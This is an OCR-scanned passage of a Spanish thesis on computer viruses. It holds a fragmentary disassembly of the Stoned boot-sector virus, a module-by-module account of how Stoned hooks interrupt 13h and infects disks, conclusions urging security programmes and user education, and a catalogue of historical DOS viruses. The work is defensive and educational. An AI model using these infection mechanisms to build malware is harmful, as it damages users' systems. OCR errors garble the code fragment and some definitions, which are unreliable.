REPZ MO\'S8 ;S. oepla el vtru1 en la momocla di trabe¡o. 

MOV AX,030t 

XOR ex.ex 

INC CL 

188 



FIOUAAM. 
LISTADO OESENSAMBlACO DEL VIRUS STONEO !CONTINUA! 

INT 

JMP 

08 

08 

13h 

ETIQUETA_ 12 

Your PC 11 flO'W !lltJMdl 

,Se copla al vlru• 11n et dlaeo duro. 

:Salta • •Jecutar ol progrmma de car;a 

Oflglnal 

;Man.ate qU11 dNp{log• 9'I 'IW• 

,Mit~ que dnpii.ga-' Wut 

Al estudiar su código se pueden apreciar que es un programa estructurado 

en cuatro módulos con funciones especificas: 

• módulo de instalación 

• módulo residente en memoria 

• módulo de infección del disco duro 

• módulo de infección de disco flexible {unidad A) 

El módulo de instalación comienz9 cambiando la dirección de la rutina que 

maneja la interrupción 13h, de la tabla de vectores de interrupción (ver sección 

2.3). La dirección remplazada es guardada en la dirección especificada por la 

ETIOUETA1 (INTER13), y en su lugar se deja la dirección del módulo resldente en 

memoria (b). Posteriormente examina si existe disco duro en el ::omputador; si no 

existe, ejecuta el programa de carga original. Si existe disco duro, verifica si ya 
está contaminado examinando el noveno byte del sector O, si éste tiene un valor 

de 02h, considera que el disco duro ya está infectado y por lo tanto efectúa el 

programa de carga original. Da no ser asl, entonces cuent9 el número de veces 

que se ha inicializado al computador, o sea, cuantas veces se ha ejecutado el 

programa de carga, y cuando sea la séptima carga, entonces despliega el 

mensaje "Your PC is now Stoned/ LEGAL/SE MARIJUANA/", el cual se encuentra 

al final del programa. Para cualquier otro número, ejecuta el programa de carga 

original y transfiere el control del procesador al sistema operativo. 

El módulo residente en memoria es el módulo de INJURIA. En esta sección 

del programa se evalua si valor del registro AH, el cual cent/ene la función pedida 

para la interrupción 13h, que es la que se interceptó al Instalarse en memoria. Si 
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contiene el valor 02h o 03h, significa que se está pidiendo una lectura o escritura, 

respectivamente, al disco, y para saber a qué disco se quiere accesar se evalúa el 

valor del registro DL, siendo OOh para el drive A. Encontrando estos valores 
verifica que sea el primer acceso al disco y si es así, comprueba que no esté 

Infectado aún. Dándose todas estas condiciones, llama al módulo de infección al 
drive A. Por último, efectuándose o no una infección al disco, llama al manejador 

de la interrupción 13h, de tal manera que, para el usuario, el llamado a esta 

interrupción será normal, es decir no apreciará ninguna diferencia a excepción de 

que &I proceso tardar~ mas en realizarse La interrupción 1311 es muy utilizada por 

el sistema operativo y por la mayorla de los programas para leer o escribir 

información en los discos. 
El módulo de INFECCION, en este programa, se divide en dos: uno para 

infectar al disco duro y otro para infectar los discos del drive A. 

La infección del disco duro es simple: marca el noveno byte del sector de 

carga con el valor 02h, la cual servirá para identificar que el disco ya fue infectado. 

Transfiere el sector de carga "sano" (original) al sector 7 y después se copia a sí 

mismo en el sector cero. 

El módulo de infección del disco A, se ejecuta siempre y cuando se den las 

condiciones de que sea una lectura o escritura, que el drive no esté infectado y 

que sea el primer acceso. Traslada el programa de carga original al sector 11 del 

disco y se copla a si mismo en el sector cero. Si se presenta un error al intentar la 

Infección del disco, restablece todos los parámetros y lo vuelve a Intentar. Efectúa 

hasta cuatro Intentos de infección y si aún persiste el error cancela la ejecución del 

módulo. 

6.3. Varios. 

Actualmente existen una gran variedad de virus originales y derivados en el 

mundo (se considera una lista de alrededor de 1000), y de todos ellos se presenta 

a continuación, referencias de un pequeño grupo seleccionados por ser los más 

esparcidos en las computadoras: 
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CONCLUSIONES 

La presencia de los virus en las computadoras ha provocado un 

replanteamiento de una problemática bastante olvidada: la seguridad 
Informática. Esto a causa de que tales aplicaciones son en sí, una prueba para 

los sistemas de seguridad. 

N ser probados los sistemas de seguridad, éstos manilostaron grandes 

huecos, de "origen'', en la protección de información, es decir, se encuentra que 

en el avance técnico del drseño de los computadores, para hacerlos más rápidos 

y con mayor capacidad, se dejó a un lado adicionar controles para la prevención 

de accidentes o ataques a la información quo almacenan y procesan. 

Partiendo con la consideración de que los virus no son mas que 

programas, cuya "virtud" principal es la de aprovechar las vulnerabilidades 
técnicas de los equipos, entonces se debe entender que limitllndo el grado de 

vulnerabilidad se puede llegar a un estado que asegure la integridad de nuestra 

información. 

Asegurar nuestra información implica no solamcnto pravenirs8 contra los 

virus, ~ino además tener un control preciso sobre todos los recursos informáticos. 

Para lograr esto, debe implementarse un Programa Integral de Seguridad que 

contemple tanto los aspectos técnicos como el factor humano. Este último es en sí 

el punto más importate de todo programa y es ol más dificil de controlar, por lo 

que las medidas técnicas y administrativas que se adhieran serán de gran ayuda 
en la funcionalidad do oste factor. 

Esta tesis ha examinado los aspectos más relevantes de los virus en 

términos de un sistema de computadora específico. Como se afirma 

anteriormente, una parte esencial de controlar la amenaza de los virus es 

comprender como efectúan el ataque a los sistemas. Las vulnerabilidades de los 

sistemas deben ser identificadas antes de que puedan ser mitigadas o corregidas. 

Uno de los objetivos de este documento ha sido proveer al lector con una base 

para la comprensión de esas vulnerabilidades, considerando siempre que el mejor 



remedio contra cualquier positilidad de pérdida de información por un ataque o 

por un accidente es la educación de los usuarios. 

Una solución alternativa al problema está en la investigación de sistemas 

expertos que funcionen como anticuerpos, es decir, desarrollar algoritmos 

capaces de aprender a implementar las defensas necesarias para el problema en 

particular. Esto como una analogía del sistema inmunológico humano, 

desarrollándose verdaderos programas "vacunas". Los programas conocidos 

como vacunas actualmente se comportan más bien como antibióticos, los cuales 

sirven para remediar y, relativamente, prevenir enfermedades víricas. 

En resumen, la experimentación muestra la viabilidad de un ataque virar 

sobre una variedad do sistemas operativos y que la mejor defensa es la educación 

de los usuarios; pero aún queda mucho que investigarse sobre este tema. 

Los principales puntos de investigación deben ser: 

1 Complejidad Teórica Desarrollar una teoría de análisis profundo. Esta teoría 

pueden ser introducidas a un nivel abstracto, 

apovándose en la teoría de coniuntos. 

2 Mecanismos de En esta tesis se plantea un programa de prevención 

Protección general a nivel teórico, pero la funcionalidad del 

oroarama en sistemas reales no se ha oodido evaluar. 

3 Desinfección Desarrollar métodos mas precisos para el 

restablecimiento de los sistemas que aseguren la 

recuperación de por lo menos el 90% de los daños 

sufridos. 

4 Modificación al Desarrollar un Sistema Operativo que contenga 

Sistema Operativo medidas de seguridad internas en su funcionameinto. 

Por ejemplo, un sistema operativo que requiera que el 

usuario inicialice la sesión de trabajo indicando que 

programas tienen autorización para leer y escribir. 

Entonces, por ejemplo, un simple programa (como un 

juego), se le asignaría sólo el privilegio para leer y 
escribir archivos que él mismo genere. 



ANEX01. 
Slmbologfa empleada en Teorla de Conjuntos 

SIMBOLO DESCRIPCION EJEMPLO 

V OR O lóaica, cualauiera de las elementos. 

A ANO Y lóaica, o una u otro, oero no ambos. - SI .. entonces Ejemplo: 

X - p 
Si x entonces P. 

E Elemento Ejemplo: 
x E P 

x es elemento de P. 

u Unión Ejempla: 

C =A U B 

e es el conjunto de elembntos que pertenecen e 

Aoa B. 

n Intersección Ejempla: 

e =A n B 

C es el conjunto de elementos que pertenecen 

tanto a A como a B. 

= Eauivalencia x=v 

3 Algun elemento Ejemplo: 

3xf(x) 

Existe aloún x aue satisface la función flxl. 

\1 Todo elemento Ejemplo: 
llx f(x) 

Toda x aue satisface la función flxl. 



ANEX02. 
Elreve Descripción de los Virus más esparcidos en las 

computadoras. 

Actualmente existen una gran variedad de virus originales y derivados en el 

mundo (se considera una lista de alrededor de 1000), y de todos ellos sa presenta 

a continuación, referencias de un pequeño grupo seleccionados por ser los más 

esparcidos en las computadoras: 

NOMBRE ALIAS DESCRtPCtON 
AtDS Hahaha, También conocido como Hahaha Qa-ja-ja). Infecta 
(SIDA) Mofa, archivos ejecutables con extensión .COM o .EXE, 

VGA2CGA. sobreescribiendo su código en los primeros 13 Kb. 
Debido a esto, los archivos contaminados deben ser 
borrados y reemplazados, ya que no es posible 
recuperar la porción perdida del programa. Al activarse 
despliega el mensaje "Your computar now has AIDS" 
('Su computadora tiene SIDA"l. 

Alabama Ninguno Este virus ataca a los archivos .EXE aumentando su 
tamal\o en 1560 bytes. Se Instala como virus residente 
en memoria cuando se ejecuta el primer archivo 
contaminado, paro no utiliza la función TSR normal. En 
vez de esto, el virus intercepta a la interrupción 9h. 
Cuando se detecta una combinación de teclas CTRL-
ALT-DEL, el virus causa un arranque aparente pero 
permanece en la RAM. 
Después de que el virus ha estado residente en memoria 
durante una hora, aparece el siguiente mensaje en una 
casilla destellante: 

¡COPIAS DE SOFTWARE PROHIBIDAS POR LEYI 
INTERNACIONAL. .. 
BOX 1055 Tuscambla ALABAMA USA. 

Alameda Merrit, Remplaza el boot sector con su código transladándolo al 
Peking, sector 8, pista 39, lado O. Ocasiona la "calda del sistema" 
Seúl, y el borrado de datos. Se duplica cada vez que se 
Vale. reinicializa el sistema (CTRL-ALT·DEL), infectando sólo 

discos de 5 1/4 de 360 Kb. Sus variantes son: Alameda-
B, Alameda-e v SF 



NOMBRE ALIAS DESCRIPCION 

Amstrad Ninguno Infecta los programas con extensión .COM, creciéndrilo 
on 847 bytes. No produce daño a los sistemas y no es 
residente en memoria. 

Ashar Shoe, Es un contaminador del sector de arranque, es residente 
UIUC. en memoria y es una variante dol virus Brain. La 

d~erencla con el Brain es que puodo contaminar tanto 
discos flexibles como discos duros. 

April 1st Infecta ar~.hlvos con extensión .COM, aunque la versión 
'B" lambién infocta a los do extensión .EXE. Despliega el 
mensaje "April 1 st Ha Ha Ha You have a virus". Se activa 
al ejecutarse un programa infectado y permanece 
residente en memoria. 

Austrlan 648 Se descubro en Londres, on 1988. Infecta los archivos 
.COM aumentándolos on 648 bytes. La versión 405 los 
aumenta en 405 bytes. 

Braln Pakistanl, Contamina el sector de arranque de los discos 
Cerebro. transladando el sector original junto con una parte del 

virus a tres cluster vaclos del disco y Jos marca como 
dañados. Además cambia la etiqueta del disC?O por '(c) 
Brain". 
Se instala como residente en memoria ocupando entre 3 
V 7 Kb de RAM. 

Boot Sector Ninguno Ataca a las computadoras Atari modelo ST, copiándose 
en el sector de carga de los discos, dallando la FAT de 
los discos. 

Byte Bandit Ninguno Trabaja como un gusano, Infecta a los discos flexibles y 
esta más difundido en las computadoras Amiga do 
Comrnodore. 

Cascad e Otoño, Es un Coballo de Troya, disfrazado en un programa qua 
Letras se suponla que apagaba la luz' de NUM-LOCK cuando 

Caldas, se arranca el sistema. En vez de esto, el virus provoca 
1701. que todos los caracteres de la pantalla se "caigan' a la 

parte inferior de la pantalla. Infecta los archivos .COM 
aumentando 1701 bvtes su tamaño. 

Cascada- Blackjack, Es el mismo que el Cascada excepto que la "calda" de 
B 1704. los caracteres ha sido remplazada por un arranque del 

sistema que tendrá lugar a intervalos de tiempo aleatorio 
después que se active el virus. 



NOMBRE ALIAS DESCRIPCION 
Chaos Ninguno Es un contaminador del sector de arranque (tanto de 
(Caos) discos flexibles como duros), residente en memoria. 

El virus contamina a los discos sobreescribiendo su 
código en el sector de carga en los cuales se 
encuentran los siguientes mensajes: 

Welcome to the New Dungeon (BklnYenldos n1 Nuovo 
Calabozo) 

Chaos (Caes) 

Let's be cool guys (Soall'c3 llpos rr1os) 

Cuando se activa el virus, indica que el disco está lleno 
de sectores malos, aunque la mayoría de estos sectores 
son legibles. 

Dark Black Este virus se intala residente en memoria y contamina 
Avenger Avenger archivos .COM y .EXE, aumentando su longitud en 1800 

(Vengador bytes. 
Tenebroso) 
Datacrime Columbus- Infecta a los archivos .COM con excepción del 

Day, COMMAND.COM, ubicándose al final de ellos, 
1280 activándose cuando se e)ecuta uno contagiado. El virus 

adhiere su código al final de los archivos y guarda en 
memoria los tres primeros bytes del programa original , 
los cuales se sustituyen por una instrucción de salto que 
apunta al comienzo del virus. Después del 12 de octubre 
de cualquier año, cuando se activa, presenta el mensaje: 
"DATACRIME VIRUS RELEASED: 1 MARCH 1989", al 
tiempo que efectúa un formateo de bajo nivel (low level 
formal), en al disco duro. 

Datacrfme 11 Columbus- Es una variante del Datacrlme cuya diferencia es que 
Day, infecta tanto a archivos .COM (incluyendo al 
1514 COMMAND.COM) como a los .EXE, aumentándoles 

1514 bV1es. 
Datacrlme Columbus- Es otra variante del virus Datacrime y su diferencia con 

B Day, éste es que solamente Infecta a los archivos con 
1168. extensión .EXE. 



NOMBRE ALIAS DESCRIPCION 

dBASE Ninguno Infecta a los archivos con .COM y .OVL, corrompiendo 
además datos de los archivos .DBF. Al activarse 
permanece residente en memoria, afectando a los 
archivos .DBF alterando sus códigos originales 
(modificando los datos), además altera la FAT y el root 
directory del disco duro. Crea un archillo BUG.DAT, en 
donde reQistra sus Infecciones. 

DOS Unesco Infecta archivos .COM. Se presentó al público en un 
campamento veraniego de computación para niños, 
patrocinado por la UNESCO. Los programas Infectados 
realizan una repetición de fa carga Inicial del sistema 
cuando se ejecuta. La variante 62-B no realiza esta 
repetición, poro cuando se activa, borra el programa 
elecutado. 

DenZuk Búsqueda, Es un contamidor del sector de carga de los discos de 5 
Venezolano 1/4 y 360 Kb. El virus es residente en memoria y contiene 

un contador que cuando Uega a su límlte 'fOrmatea al 
disco que esté en la unidad A. Normalmente el lfmlte del 
contador está entre 5 y 1 O y se lnc~ementa cada vez que 
s~ arranca el comoutadór con un.diSco contaminado. 

Devil's Mexicano Fue descubierto en México, en 1989. Infecta a los 
O anca archivoe .COM, aumentando 941 bytes su fongltud y 

puede infectar el mismo programa varias veces hasta 
hacerlos crecer arriba de los 64 Kb, lo que hace que el 
sistema operativo DOS ya no los reconozca como 
archivos .COM y no fo ejecute. Cuando se activa 
permanece residente en memoria y si se resetea el 
sistema oprimiendo las teclas [CTRL]+[ALT]+[DEL], 
despliega el mensaje: "Oíd you ever dance with the devil 
In !he weak moonlight? Pray fo~ your dlsksll" The Joker" 
("lHas bailado con el diablo bajo fa tenue luz de la luna? 
!Reza par tus discos! El Guasón"). 



NOMBRE 
Disk Klller 

(Asesino de 
Discos) 

Do-Nothlng 
(No Hacer 

Nada) 

EDV 

Eggbeater 

Fridaythe 
13th 

ALIAS 
Ogro, 
Ogro 

informático, 
Ogro del 

disco. 

Virus 
Estupido 

Ninguno 

Vll\JsCOM, 
Miaml, 

Munich, 
Sudafricano 
Virus 512. 

DESCRIPCION 
Es un virus contaminador del sector da arranque de 
discos flexibles y duros. El virus contiene un contador 
que registra a cuantos discos ha contaminado y no 
causa ningún daño hasta que se llegue a un límtte 
predeterminado. El daño que realiza comienza con el 
desplegado de un mensaje Identificando al Ogro 
Informático y la fecha del 1° de abril. A partir de 
entonces procede a escribir bloques enteros de un 
único caracter al azar por todo el disco, advirtiendo al 
usuario se abstenaa de aoaaar el cornoutador. 
Contamina a archivos .COM, pero sólo el primero en el 
directorio actual. Este virus se instala como residente en 
la dirección 9800:01 OOh y lo hace sólo en sistemas con 
640 l<b de memoria. No caus~ daño ni afecta el 
funcionamiento del sistema de una forma "visible". 
Infecta al sector de carga de los discos duros y flexibles. 
Al arrancar el sistema con un disco infectado, el virus se 
instala residente en memoria. Causa la caída de algunos 
programas y la destrucción de algunos datos. El sector 
contaminado pre•nta la cadena "MSDOS Vers. E.O.V.• 
altnal del miSl'l'IO. 

Es un Caballo de Troya que al activarse empieza a 
barrar todos los archivos del directorio donde se 
encuentra. Al terminar de borrar los archivos visualiza en 
la pantalla el mensaje: "ARF, ARF Gotchal" 
Desarrollado en Sudáfrica en 1987. Infecta a los archivos 
.COM y al cargarlo permanece residente en memoria, 
buscando dos archivos COM en el disco duro y uno en 
la unidad A para Infectarlos. Si se activa en un viernes 
borra al programa anfitrión. La versión B actúa como el 
original, pero Infecta todos los archivos del subdirectorio 
en que se trabaja. La versión C agrega el mensaje: 'We 
hope we haven't lnconvenienced you•, cada vez que se 
activa 



NOMBRE ALIAS DESCRIPCION 
Fu Manchu 2080, Se adhiere al principio de los archivos .COM o al final de 

2086. los archivos .EXE. Una cadena de Identificación 
encontrada en este virus es "AXrEMMO('. 
El virus supervisa la memoria intermedia del teclado y 
a/\ade comentarios despectivos a los nombres de varios 
polfticos. Estos comentarios van a la memoria del 
teclado, por lo que su efecto no está limitado al 
despliegue. Los mensajes dentro del virus están 
codificados. 
Una de cada 16 contaminaciones provoca qua se instale 
un contador de tiempo; después de un periodo de 
tiempo aleatorio se despliega el mensaje 'El mundo oirá 
hablar de mi otra vezl" v el sistema rearranca. 

Ghost Boot Pelotas Contamina sectores de arranque de discos flexibles y 
(Arranque Fantasmas discos duros y es similar al virus Ping Pong. 
Fantasma) 

GhostCOM Pelotas Contamina a los archivos con extensión .COM 
Fantasmas aumentándoles 2351 bytes. Es el primer virus conocido 

que puede contaminar tanto archivos como sectores de 
arranque del disco. Después da contaminar un sector de 
arranaua, también actúa como un virua !Ghoct Boot l. 

Golden 500, Es una variante del SF (Alameda C), modificado para 
Gate Mazatlán formatear el disco duro cuando se cuenten 500 

infecciones. La variante B efectúa el formateo después 
de contar 30 Infecciones y la variante C, tamblán 
conocido oomo Mazatlén, puede infectar a los discos 
duros. 

Halloechen Ninguno Infecta archivos .COM y .EXE. Cuando se ejecutan 
archlvol contaminados se falsea la entrada desde el 
teclado. 

Holland Girl Sylvia Este virus es residente en memoria e infecta archivos 
(Chica .COM aumentándoles 1332 bytes. El virus se llama asl 

Holandesa) porque dentro de su código contiene el nombre, número 
de teléfono y dirección de una chica llamada SyMa en 
Holanda, pidiendo que se le manden costales. 



NOMBRE ALIAS DESCRIPCION 
lcelandlc 656, Contamina archivos .EXE crecléndolos entre 656 y 671 
(Islandés) Uno de bytes. La longitud del archivo después de la 

Cada Diez, contaminación siempre será un múltiplo de 16. El virus 
Crujldor de se adhiere al final de los programas que contamina, 

Discos. siempre terminando con el código 4418h, 5f19h. 
El virus se instala residente en la parte alta de la 
memoria y si se intenta escribir en esta parte de la 
memoria, se cae el sistema. Intercepta la interrupción 
10h e intenta contaminar cada décimo programa 
ejecutado. Cada vez que contamina un programa, el 
virus selecciona un cluster libre en Ja FAT y Jo marca 
como dañado. 

Jcelandlc JI Virus del Es una variante del lcelandic y su diferencia con él os 
Sistema, que éste virus cuando contamina un archivo le modifica 
Uno de la fecha. También suprime el atributo de sólo lectura, 

Cada Diez. oero no lo restaura después de contaminar el croarama. 
Jcelandlc 111 24de Es una modificación del lcelandic. La cadena de 

Diciembre identificación, que se encuentra al final del archivo, es 
1844h, 195fh. Aumenta la longitud de los archivos 
contaminados de 848 a 863 bytes. Cuando se activa en 
un d!a 24 do diciembre, c;JespliiiQa el mensaje "Gledileg 
Jol" ("Feliz Navidad" en islandés). 

ltalian Turín, También se le ha nombrado como Veracruz, Bouncing o 
de la del Ping Pong. Sólo Infecta el boot sector de los discos 

pelotita, flexlbles y aunque no es peligroso si es muy molesto, ya 
Plng Pong. que cuando se activa ( se activa cuando se realiza un 

acceso de lectura o gravación en el momento en que el 
reloj del sistema marca las medias horas, por ejemplo: 
8:30, 9:30, etc.), presenta una "pelotita" que se mueve de 
un lado a otro a Jo largo de Ja pantalla, rebotando contra 
los contornos y caracteres que estén desplegados. 
La versión ltalian-B puede contagiar también a Jos discos 
duros. 



NOMBRE ALIAS DESCRIPCION 

Jerusalem Israelí, Se descubrió a fines de 1987 en la Universidad Hebrea 
Viernes 13, de Jerusalén y se dice que fue desarrollado por 

PLO, activistas de la Organización para la Liberación de 
Ruso, Palestina (OLP), para que iniciara su acción el 13 de 
1813, mayo da 1988 con motivo da la calebraclón del 40" 
1808. aniversario del último dla de Palestina como nación. 

Infecta al sistema por medio del archivo 
COMMAND.COM, pero también ataca los programas 
ejecutables, aumentándolos en 1808 bytes. El virus se 
Instala como residente en memoria, alentando la 
ejecución de los programas y no tiene control sobre el 
número de infecciones. 
La versión B si tiene. 

Joker Ninguno Fué descubierto en Polonia y contamina archivos .EXE. 
(Bromista) Los programas contaminados presentarán mensajes de 

error y comentarios falsos. Estos mensajes se 
encuentran al inicio del código vírico. Los mensajes que 
pueden ser presentados pueden ser: 

•Versión DOS Incorrecta 
•Por favor, ponga un nuevo dis~o en la unidad A: 
• Fln del archivo de entrada 
•Fin de tiempo del sistema. !Apague el Sistema! 
•Detección de agua en el Coprocesador 
• ITengo hambre! Inserte una hamburguesa en la 
unidad A: 
•Prohibido fumar. IPor favor! 
•Gracias 
• llNo me pegue! 1 

•La cabeza del disco duro ha sido destruida. 
¿Puede prestarme la suya?. 
•Inserte oaoel hioiénico en la imoresora 

Lehlgh Ninguno Contamina sólo al archivo COMMAND.COM 
sobreescribiendo en el espacio de pila. Ueva un conteo 
de archivos contaminados y al registrar cuatro 
contaminaciones, el virus destruye el sector de carga y la 
FAT del disco. 



NOMBRE ALIAS DESCRIPCION 
Lisbon Ninguno Este virus es muy similar al Viena, excepto quo casi 

(Lisboa) todas las palabras han sido cambiadas 1 o 2 bytes para 
evttar los programas de idantificación/detección que 
identifican al Vie~a. A cada uno de ocho archivos 
contaminados se les cambiará los primeros 5 bytes del 
primer sector a '@SIDA", haciendo el programa 
Inutilizable. 

MIX/I MIX1 Contamina archivos .EXE y es residente en memoria, 
ocupando 2048 bytes en RAM. Cada vez que se ejecuta 
un archivo contaminado, éste crecerá en 1618 y 1634 
bytes, dependiendo del tamaño original del archivo. El 
virus no contamina archivos menores de 6K. 
Su cadena de identificación se encuentra en los últimos 
4 bytes de los archivos contaminados y es el código 
"MIX1" en ASCII. 
El virus causará una salida falsa tanto en la unidades en 
serie como en las unidades en paralelo y mantendrá 
encendido NUM LOCK constantemente. Después de la 
sexta contaminación, el arranque del sistema lo 
estropeará debido a un error en el código y una pelota 
empozará a saltar en el monitor del sistema. 

New Ninguno Es una variante del Jerusalem que ha sido modificado 
Jerusa/em para evitar ser detectado por las versiones de Viruscan 

anteriores a V45 o por el producto VIRUS SCAN de IBM 
de techa 20 de octubre de 1989. Contamina archivos 
.COM y .EXE y se activa cualquier viernes 13, borrando 
programas contaminados cuando se intenta ejecutarlos. 
El virus es residente en memoria y puede contaminar 
archivos de suoerooslclón .SYS, .BIN, .PIF. 

Chio Ninguno Contamina Jos sectores de arranque do Jos disco• 
flexibles de 360K. 

Oropax Virus de la Contamina archivos .COM aumentando su longitud de 
música, 2756 a 2806 bytes. Los archivos contaminados siempre 
Musico tendrán una longttud divisible entre 51. El virus puede 

llegar a ser activo cinco minutos después de la 
contaminación de un archivo, tocando tres melodías con 
un Intervalo entre ellas de siete minutos. 



NOMBRE ALIAS DESCRJPCION 

PayDay Ninguno Es una variante del virus Jerusalem, siendo la dfferencla 
(Diada más importante que el criterio de activación, para borrar 
Paga) archivos, de viernes 13 a cualquier viernes que no sea 

13. 
Perfume 765, De origen alemán, contamina archivos .COM 

4711. haciéndolos crecer de tamaño en 765 bytes. 
Saratoga 642. Se descubrió en California, en 1989 y es muy parecido al 

Uno de Islandés, siendo su diferencia con éste que cuando se 
Cada Dos. carga en la memoria, modifica el bloque de memoria de 

tal forma que parece perteneciente al Sistema Operativo, 
impidiendo asl el uso del bloque por otro programa. El 
virus Infecta archivos .EXE. 

SF Ninguno Es una variante del virus Alameda. Efectúa su 
reproducción cuando se roarranca al computador 
(CTRL-ALT-DEL). contaminando sólo a discos flexibles. 
Contiene un contador que se incrementa por cada disco 
contaminado y al registrar 100 contagios se dispara el 
daño programado. El daño que produce es el formateo 
del disco Infectado. 

Stoned Hawal, El virus original sólo contamina discos de 360 Kb, no 
Marihuana, causando daño ''visible". Hay, no obstante, dos variantes 

Nueva conocidas que pueden contaminar discos duros. El virus 
Zelanda, se convierte residente en memoria después de que se 

San Diego, arranque el sistema desde un dicco contaminado. 
Smithsonia Contaminará cualquier disco que se introduzca en A, 

no. durante la sesión de trabajo. 
Cada ocho arranques del sistema el virus desplegará el 
mensaje: 

l"Your PC Is Now Stoned 1 
Legalis Marihuana" 

Sunday Ninguno Se descubrió en Seattle y Washington. Este virus se 
activa cualquier domingo, desplegando el mensaje: 

1 "Hoy es domingo. ¿par qué trabaja tanto?" 1 

Parece derivarse del virus Jerusalem y daña la FAT de 
los discos. 



NOMBRE ALIAS DESCRIPCION 
Surtv 1.01 1ºde abril, Es del tipo residente on memoria e Infecta archi·. oo 

Israelí, .COM. Se activa el 1º de abril, despuós da quo so 
SuriV01. contamine la memoria, ejecutando un archivo Infectado y 

luego ejocutnndo un archivo .CO~\ no contaminajo. Al 
activarss presentará el mensaje: 

1 "1 DE ABRIL JA JA JA TIENE UN VIRUS" 1 

El sistema se "traba' entonces y so debe rearrancar. El 
texto "Suriv 1.01" puede ser encontrado en el código 
vírico. 

Suriv2.01 1 abril-B, Es rosidente en memoria y contamina archivos .EXE. Se 
Israelí. activa el 1° de abril y causa la caída del sistema, 

Suriv02. presentando el mismo mensaje que el Suriv 1.01. Una 
hora después de ejecutarse un archivo contaminado 
causará un cierre del sistema. 

Suriv 3.00 Israelí, Es una variante del virus Jerusalem. La cadena 
Suriv03. "sUMsDos" ha sido cambiada a 'sURIV 2.00''. El virus se 

activa cualquier viernes 13 y está programado para 
borr::r archivos, poro, debido a un error de 
programación, no se efectua esto. 
Todos los días que no sean viernes 13, después de 
permanecer residente en memoria durante 30 segundos, 
un área del sistema es cambiada a 1Ventana negra11 y s~ 
ejecuta un proceso de pérdida de tiempo con cada 
señal del reloj. 
Pueda infectar archivos .SYS, .EXE y .COM (incluyendo 
al COMAND.COM\. 

Swap Arranque Contamina el sector de arranque de los discos flexibles y 
(lntercam- Israelí. es residente en memoria, empleando 2 Kb del RAM. Al 

ble) contaminar un disco, se sobreescribirá la información de 
la pista 39, sectores 6 y 7, con la cabeza no 
especificada. Si estos sectores no están vacfos, el virus 
no contaminará al disco. 
Este virus se activa después de estar activo en memoria 
durante diez minutos, presentando el efecto en la 
pantalla de la calda de caracteres en cascada 



NOMBRE 
SysLock 

Taiwan 

ALIAS 
3551, 
3555. 

Ninguno 

DESCRIPCION 
Infecta archivos .COM y .EXE y llega a afectar archivos 
de datos. Este virus no es residente en memoria, en 
cambio, busca aleatoriamente un archivo para 
contaminarlo, aumentándole 3551 bytes. 
Su comportamiento viral es muy particular, ya que daña 
archivos buscando la palabra "Mlcrosoff', en mayúsculas 
o minúsculas y remplazándola por "MACROSOFT'. Si 
este virus encuentra una variable de entorno en el 
sistema, en el desplazamiento 40h, no efectuará ningún 
daño y pasará el control a su anfitrión inmediatamente. 
Una variante de éste es el virus "Macho-A", cuya única 
diferencia es que en lugar de remplazar la palabra 
"Microsoft" por "MACROSOFT", lo hace por 
"MACHOSOFT'. 

Contamina a los archivos .COM, incluyendo al 
COMMAND.COM y no es residente en memoria. Un 
archivo contaminado puede extender al virus hasta tres 
archivos más. La contaminación s~ efectúa sust~uyendo 
los 743 primeros bytes de los archivos por su código y 
los 743 bytes originales los translada hasta el final del 
archivo. En caso de que un archivo tenga menos de 7 43 
bytes de longitud, el archivo .COM contaminado que 
resulta será siempre de 1486 bytes. 
El daño que provoca es que en el octavo día de 
cualquier mes, al ejecutar un programa contaminado, se 
efectuará una escritura absoluta del disco en 160 
sectores, empezando en el sector lógico O en las 
unidades C y O, por lo que dañará al sector de carga, la 
FAT v el directorio raíz del disco• 



NOMBRE 
Tracebacl< 
(Rastreo) 

Traceback 
11 

ALIAS 
3066 

2930 

DESCRIPCION 
Contamina archivos .COM y .EXE, añadiéndoles 3065 
bytes a su tamaño. Después de que se ejecute un 
programa contaminado se instal3rá como residente en 
memoria y cont'1mlnoré otros programas que estén 
abiertos. 
El virus toma su nombre de dos características. Primero, 
los archivos contienen la vla de directorio del archivo, 
causando la contaminación dentro del código vírico, de 
tal manera que es posible rastrear la contaminación a 
través de varios archivos. Segundo, cuando tiene éxho 
en contaminar otro archivo, el virus intenta acceder a la 
r.opia de disco aclvo del programa, y desde el cual fué 
cargado, para poner al dla un contador del virus. El virus 
se encarga del 'llanejo oel error del disco al intentar 
poner al dla el programa contaminado original, de 
manera que si no puede contaminarlo, el usuario no será 
consciente de que se produjo un error. 
El síntoma principal del virus es que si la fecha del 
sistema es posterior al 28 de diciembre de 1988, el virus 
residente en memoria producirá una presentación en 
pantalla con un efecto de "cascada" similar al del virus 
"CASCADE". Esto se produce una hora después de que 
se ha cargado en memoria. Si se oprime una lacia 
durante la "cascada", se producirá un bloqueo del 
sistema, en caso contrario, después de un minuto, se 
restablecerá la pantalla volviendo los caracteres a su 
posición original. Esta presentación de cascada y 
restablecimiento se reoile a Intervalos de una hora. 
Es una variante del Traceback, y su diferencia con éste 
consiste en que el aumento en la longhud de los 
archivos contaminados es de 2930 bytes en lugar de 
3066. 



NOMBRE ALIAS DESCRIPCION 

TypoBoot Error Infecta al sector de carga de los discos y es del tipo 
(Arranque residente en memoria, para lo cual emplea haata 2 Kb de 

Tipo) la parte alta. 
El principal síntoma provocado por éste virus es que 
ciertos caracteres en salidas Impresas siempre son 
remplazados por otros caracteres fonéticamente 
similares. Los dígitos en números puedan ser 
transpuestos o remplazados por otros números. Esto 
sólo ocurre en salidas impresas. 

TypoCOM Tanteo, Es muy simHar al Typo Boot en que al activarse, falsea 
(COMtypo) 867. los datos enviados al puerto paralelo. Este virus 

contamina archivos con extensión .COM pero solamente 
en días pares. 

Vacslna Ninguno Mido aproximadamente 1206 bytes de longttud y puede 
encontrarse en el MCB do los sistemas contaminados. 
Este virus contamina archivos .COM, .EXE, .SYS y .BIN. 
Un síntoma presentado por los archivos contaminados 
os que emiten un pitido cuando son ejecutados. 

Vcom Ninguno De origen polaco, es un contaminador de archivos .EXE. 
Para efectuar una contaminación, primero expande al 
archivo hasta que su longitud de un múltiplo da 512, 
doGpu6~ "'~~do sus G37 bytes de código al final del 
archivo. 
La porción residente en memoria intercepta cualquier 
intento de escrttura al disco y la cambia por una lectura 
al disco. 

Vienna Austriaco, Contamina archivos .COM. Siempre que se ejecute un 
(Viena) Unesco, archivo contaminado, el virus buscará y contaminará a 

DOS-62, un archivo .COM. Uno de cada ocho programas 
DOS-68, contaminados llevará a cabo ull rearranque del sistema 
1de6, siempre que se ejecute el código vírico. 
